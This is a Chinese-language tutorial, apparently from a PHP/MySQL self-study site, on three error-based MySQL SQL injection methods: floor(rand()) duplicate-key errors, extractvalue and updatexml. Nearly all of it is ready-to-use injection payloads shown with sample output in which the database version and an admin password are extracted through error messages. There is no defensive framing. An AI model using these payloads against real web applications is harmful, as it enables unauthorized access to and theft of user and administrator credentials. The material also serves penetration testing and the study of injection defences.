1、通过floor报错 可以通过如下一些利用代码 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); and (select count(*) from (select 1 union select null union select !1)x group by... 1、通过floor报错 可以通过如下一些利用代码 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))); 举例如下： 首先进行正常查询： mysql > select * from article where id = 1; +----+-------+---------+ | id | title | content | +----+-------+---------+ | 1 | test | do it | +----+-------+---------+ 假如id输入存在注入的话，可以通过如下语句进行报错。 mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key' 可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。 例如我们需要查询管理员用户名和密码： Method1: mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a); ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key' Method2: mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2))); ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key' 请看 ( http://HdhCmsTestyuefengqing测试数据/ ) 2、ExtractValue 测试语句如下 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 实际测试过程 mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));-- ERROR 1105 (HY000): XPATH syntax error: '\admin888' 3、UpdateXml 测试语句 and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1)) 实际测试过程
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'查看更多关于mysql3种报错模式注入 - mysql数据库栏目 - 自学ph的详细内容...
